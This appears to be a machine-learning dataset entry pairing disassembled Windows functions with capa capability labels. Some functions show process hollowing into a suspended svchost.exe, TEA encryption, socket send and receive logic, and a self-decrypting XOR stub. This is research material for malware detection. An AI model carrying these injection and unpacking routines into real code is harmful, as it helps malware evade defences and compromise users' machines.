joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4051d0
Capabilities:
Read file on windows

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0
push 0
push ebp
call sub.MSVCRT.dll_fseek
mov ecx, dword [esp + 0x28]
mov ebx, dword [esp + 0x2c]
xor eax, eax
add esp, 0xc
mov ax, word [ecx + 6]
mov esi, dword [ebx + 0x3c]
test eax, eax
jle 0x40520f
mov edx, dword [esp + 0x24]
add edx, 0x14
mov ecx, dword [edx]
cmp ecx, esi
jae 0x405209
mov esi, ecx
add edx, 0x28
dec eax
jne 0x405201
mov edi, dword [esp + 0x28]
push ebp
push esi
push 1
push edi
call sub.MSVCRT.dll_fread
add esp, 0x10
cmp eax, esi
je 0x40522b
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
mov eax, dword [ebx + 0x20]
mov ecx, dword [ebx + 0x3c]
push eax
push ecx
call fcn.004051b0
mov edx, dword [esp + 0x24]
mov ebx, eax
add esp, 8
add ebx, edi
cmp word [edx + 6], 0
mov dword [esp + 0x14], 0
jbe 0x4052c3
mov eax, dword [esp + 0x24]
lea edi, [eax + 8]
mov esi, dword [edi + 8]
mov eax, dword [edi]
test esi, esi
jbe 0x405292
cmp esi, eax
jbe 0x405268
mov esi, eax
mov ecx, dword [edi + 0xc]
push 0
push ecx
push ebp
call sub.MSVCRT.dll_fseek
push ebp
push esi
push 1
push ebx
call sub.MSVCRT.dll_fread
add esp, 0x1c
cmp eax, esi
jne 0x405224
mov edx, dword [esp + 0x20]
mov ecx, dword [edi]
mov eax, dword [edx + 0x20]
push eax
push ecx
jmp 0x40529f
test eax, eax
je 0x4052a9
mov edx, dword [esp + 0x20]
mov ecx, dword [edx + 0x20]
push ecx
push eax
call fcn.004051b0
add esp, 8
add ebx, eax
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
xor edx, edx
inc eax
mov dx, word [ecx + 6]
add edi, 0x28
cmp eax, edx
mov dword [esp + 0x14], eax
jl 0x405259
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
ret

Function at 0x405350
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.svchost.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40541b
push ebx
push ebp
push esi
mov esi, dword [esp + 0x78]
push esi
mov dword [esi], 0x10007
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esi + 0xa4]
mov ebp, dword [esp + 0x7c]
mov ecx, dword [edi]
lea edx, [esp + 0x74]
push edx
push 4
add eax, 8
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp]
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
lea edx, [esp + 0x10]
push 0x1c
push edx
push esi
push eax
call ebx
test eax, eax
je 0x405406
cmp dword [esp + 0x20], 0x10000
je 0x405406
mov ecx, dword [esp + 0x1c]
mov edx, dword [edi]
add esi, ecx
lea ecx, [esp + 0x10]
push 0x1c
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4053e5
mov eax, dword [ebp]
sub esi, eax
mov eax, 1
mov dword [ebp + 4], esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x60
ret
xor eax, eax
pop edi
add esp, 0x60
ret
Function at 0x405460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00405350
add esp, 0xc
test eax, eax
je 0x405644
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x4054d2
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x4054d2
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x405510
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress_1]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x405510
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x405578
push ebp
call fcn.00405430
add esp, 4
test eax, eax
je 0x40556c
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x405637
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.004052d0
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x405637
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x40561f
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x4055e7
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x4055f3
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x405650
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x240
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x148]
push str.svchost.exe
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x405753
lea edx, [esp + 0x148]
push 0x408d70
push edx
call sub.MSVCRT.dll_fopen
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x405753
lea eax, [esp + 0xc]
lea ecx, [esp + 0x68]
push eax
lea edx, [esp + 0x14]
push ecx
lea eax, [esp + 0x30]
push edx
push eax
push ebx
call fcn.00405000
add esp, 0x14
test al, al
je 0x40573b
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
call fcn.00405140
add esp, 0x10
mov edi, eax
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x405753
mov edx, dword [esp + 0xc]
push esi
lea eax, [esp + 0x6c]
push edx
lea ecx, [esp + 0x18]
push eax
lea edx, [esp + 0x34]
push ecx
push edx
push ebx
call fcn.004051d0
mov eax, dword [esp + 0x24]
push edi
push esi
lea ecx, [esp + 0x88]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x50]
push edx
push eax
call fcn.00405460
add esp, 0x30
push ebx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x240
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x240
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x418ae4]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x401020
xor edx, edx
lea esi, [edx + 0x10]
nop dword [eax]
mov ecx, ebx
lea edx, [edx - 0x61c88647]
shr ecx, 5
mov eax, ebx
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
add edi, ecx
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
add ebx, ecx
sub esi, 1
jne 0x401040
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4010a0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, ecx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, eax
xor esi, esi
push dword [esi + 0x418ae4]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi - 0x10], eax
add esi, 4
cmp esi, 0x10
jl 0x4010c0
mov edx, 0xe3779b90
mov esi, 0x10
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 4]
shl eax, 4
add eax, dword [ebp - 8]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0xc]
shl eax, 4
add eax, dword [ebp - 0x10]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx + 0x61c88647]
sub edi, ecx
sub esi, 1
jne 0x4010e2
push edi
mov edi, dword [sym.imp.WS2_32.dll_htonl]
call edi
mov esi, dword [ebp + 8]
push ebx
mov dword [esi], eax
call edi
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401f40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x418adc]
push esi
mov esi, ecx
test eax, eax
je 0x401f6d
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [0x418adc], 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x418adc], eax
mov eax, 2
mov word [ebp - 0x14], ax
mov eax, dword [0x418ad0]
mov dword [ebp - 0x10], eax
movzx eax, word [0x418ad4]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [0x418adc]
call dword [sym.imp.WS2_32.dll_connect]
push 0x23
push 0x8001
push esi
push dword [0x418adc]
call dword [sym.imp.WS2_32.dll_WSAAsyncSelect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00402df0
mov esp, ebp
pop ebp
ret

Function at 0x401fe0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [ebp + 8]
push esi
movzx eax, bx
movzx esi, ax
push edi
add esi, 0x10
mov dword [ebp - 8], edx
push esi
mov dword [ebp - 4], ecx
mov dword [ebp + 8], eax
call fcn.00406a53
mov edi, eax
add esp, 4
test edi, edi
je 0x402126
push dword [ebp - 4]
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0xffffffffffffffff
mov word [edi + 2], ax
call dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov dword [edi + 4], eax
mov word [edi + 8], 1
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [edi + 0xa], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [edi + 0xc], ax
mov eax, dword [ebp + 8]
add eax, 2
push eax
call dword [sym.imp.WS2_32.dll_ntohs]
push ebx
push dword [ebp - 8]
mov word [edi + 0xe], ax
lea eax, [edi + 0x10]
push eax
call fcn.00404b00
lea edx, [esi + 0xa]
mov eax, 8
mov ecx, edx
and ecx, 7
sub eax, ecx
test ecx, ecx
cmove eax, ecx
add eax, edx
mov dword [ebp + 8], eax
add eax, 0x12
push eax
call fcn.00406a53
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x402126
lea eax, [ebp + 8]
mov edx, esi
push eax
lea ecx, [ebx + 0x12]
push ecx
push ecx
mov ecx, edi
call fcn.00401140
mov esi, dword [ebp + 8]
push edi
add esi, 0x12
call fcn.00406a38
add esp, 0x10
push esi
call dword [sym.imp.WS2_32.dll_htonl]
push 0x74
mov dword [ebx], eax
call dword [sym.imp.WS2_32.dll_ntohs]
push 0
mov word [ebx + 4], ax
call dword [sym.imp.WS2_32.dll_htons]
mov edi, dword [sym.imp.WS2_32.dll_ntohl]
push 0
mov word [ebx + 6], ax
call edi
push 0
mov dword [ebx + 8], eax
call edi
mov dword [ebx + 0xc], eax
mov edi, ebx
mov word [ebx + 0x10], 1
test esi, esi
jle 0x40211d
push 0
push esi
push edi
push dword [0x418adc]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x40211d
sub esi, eax
add edi, eax
test esi, esi
jg 0x402101
push ebx
call fcn.00406a38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402280
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0040f840
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
movzx eax, word [ebp + 8]
mov dword [ebp - 0x100c], ecx
sub eax, 1
jne 0x402486
push ebx
push esi
push eax
lea ebx, [ebp - 0x1004]
push 0x1000
mov eax, ebx
push eax
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
jle 0x402484
mov ecx, dword [0x418ac4]
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
push edi
test ecx, ecx
je 0x402416
cmp dword [0x418acc], 4
jae 0x402335
mov ebx, dword [0x418acc]
lea eax, [ebp - 0x1004]
mov edi, 4
sub edi, ebx
cmp esi, edi
cmovl edi, esi
push edi
push eax
lea eax, [ebx + ecx]
push eax
call fcn.00404b00
add ebx, edi
add esp, 0xc
mov dword [0x418acc], ebx
cmp ebx, 4
jb 0x402483
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
lea ebx, [ebp - 0x1004]
mov ecx, dword [0x418ac4]
add ebx, edi
sub esi, edi
push dword [ecx]
call eax
mov edx, dword [0x418acc]
mov ecx, eax
sub eax, edx
mov dword [ebp - 0x1010], ecx
mov dword [ebp - 0x1008], eax
cmp ecx, dword [0x418ac8]
jle 0x40238a
push ecx
push dword [0x418ac4]
mov dword [0x418ac8], ecx
call fcn.00406a2d
mov edi, eax
add esp, 8
test edi, edi
je 0x402483
mov eax, dword [ebp - 0x1008]
mov edx, dword [0x418acc]
mov dword [0x418ac4], edi
jmp 0x402390
mov edi, dword [0x418ac4]
test eax, eax
js 0x4023f0
cmp esi, eax
cmovl eax, esi
push eax
mov dword [ebp - 0x1008], eax
lea eax, [edx + edi]
push ebx
push eax
call fcn.00404b00
mov ecx, dword [0x418acc]
add esp, 0xc
add ecx, dword [ebp - 0x1008]
mov eax, dword [ebp - 0x1010]
mov dword [0x418acc], ecx
cmp ecx, eax
jl 0x402483
mov ecx, dword [ebp - 0x100c]
mov edx, edi
push eax
call fcn.00402130
add ebx, dword [ebp - 0x1008]
add esp, 4
sub esi, dword [ebp - 0x1008]
mov edi, dword [0x418ac4]
push edi
call fcn.00406a38
add esp, 4
mov dword [0x418ac4], 0
mov dword [0x418acc], 0
test esi, esi
jle 0x402483
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
cmp esi, 4
jae 0x402422
mov edi, 4
jmp 0x402428
push dword [ebx]
call eax
mov edi, eax
push edi
cmp edi, esi
jg 0x40245b
mov ecx, dword [ebp - 0x100c]
mov edx, ebx
call fcn.00402130
mov eax, dword [sym.imp.WS2_32.dll_ntohl]
sub esi, edi
add esp, 4
add ebx, edi
test esi, esi
jg 0x402416
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402df0
mov esp, ebp
pop ebp
ret
mov dword [0x418ac8], edi
call fcn.00406a53
add esp, 4
test eax, eax
je 0x402483
push esi
push ebx
push eax
mov dword [0x418ac4], eax
call fcn.00404b00
add esp, 0xc
mov dword [0x418acc], esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402df0
mov esp, ebp
pop ebp
ret
Function at 0x40373e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40377d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40377d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40377d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40377d
cmp dword [ecx + 0x74], 0xe
jbe 0x40377d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x408ed6
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x408f21
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00409071
test al, al
jne 0x408f1b
sub edx, 2
cmp edx, edi
jne 0x408f01
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x408f43
lea eax, [edi + 2]
cmp edx, eax
je 0x408f43
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00408e22
add esp, 0x10
jmp 0x40903d
push esi
lea ecx, [ebp - 0x255]
call fcn.00409071
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x408f86
push dword [ebp - 0x25c]
jmp 0x408f33
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x408fc3
cmp word [ebp - 0x226], 0
je 0x408fe4
cmp word [ebp - 0x226], ax
jne 0x408fc3
cmp word [ebp - 0x224], 0
je 0x408fe4
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00408e22
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x409030
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x408f9d
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x409018
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x40903d
push 0x408c52
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0040baa0
add esp, 0x10
jmp 0x40900d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402df0
leave
ret

Function at 0x40aaa0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41233c
push 0x412334
push str.FlsAlloc
push 0x1f
call fcn.0040a9db
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40aad4
push dword [ebp + 8]
mov ecx, esi
call dword [0x410248]
call esi
jmp 0x40aada
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x40ab1e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41234c
push 0x412344
push str.FlsGetValue
push 0x21
call fcn.0040a9db
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ab55
push dword [ebp + 8]
mov ecx, esi
call dword [0x410248]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x40ab5d
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x412354
push 0x41234c
push str.FlsSetValue
push 0x22
call fcn.0040a9db
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40ab97
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x410248]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x40f750
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f77d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f77d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x41e963
Capabilities:
Delete file

Disassembly:
push 0x6c
mov eax, 0x468417
call fcn.0044e593
mov esi, ecx
lea edi, [esi + 0x160]
push str.Bootstrapper::forceMFCStudioCleanup___deleteCurVersionKeys
push edi
call fcn.00408e53
pop ecx
pop ecx
lea ecx, [ebp - 0x74]
call fcn.00427a84
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [eax + 0x14], 8
jb 0x41e999
mov eax, dword [eax]
mov dl, byte [esi + 0x4d]
push eax
mov ecx, edi
call fcn.0042764f
or dword [ebp - 4], 0xffffffff
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x74]
call fcn.004095c3
mov ecx, esi
call fcn.0041eab6
mov al, byte [esi + 0x4d]
mov byte [ebp - 0x78], al
push dword [ebp - 0x78]
lea eax, [ebp - 0x5c]
push eax
call fcn.004198a0
xor esi, esi
inc esi
push str.Limb16StudioLauncher.exe
lea ecx, [ebp - 0x44]
mov dword [ebp - 4], esi
call fcn.004082fa
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x5c]
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.004212af
pop ecx
mov byte [ebp - 4], 3
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
push str.Bootstrapper::forceMFCStudioCleanup___deleting_studio_stub:__S
push edi
call fcn.00408e53
add esp, 0xc
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
cmovae ecx, dword [ebp - 0x2c]
call fcn.0042a39e
test al, al
je 0x41ea38
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ebx
push esi
lea ecx, [ebp - 0x2c]
call fcn.004095c3
push ebx
push esi
lea ecx, [ebp - 0x44]
call fcn.004095c3
push ebx
push esi
lea ecx, [ebp - 0x5c]
call fcn.004095c3
call fcn.0044e542
ret

Function at 0x425181
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4251da
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4251cb
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x4251c7
cmp esi, ecx
jae 0x4251cb
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec edx
jne 0x4251b7
cmp esi, ecx
jb 0x4251cf
xor eax, eax
jmp 0x4251d9
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret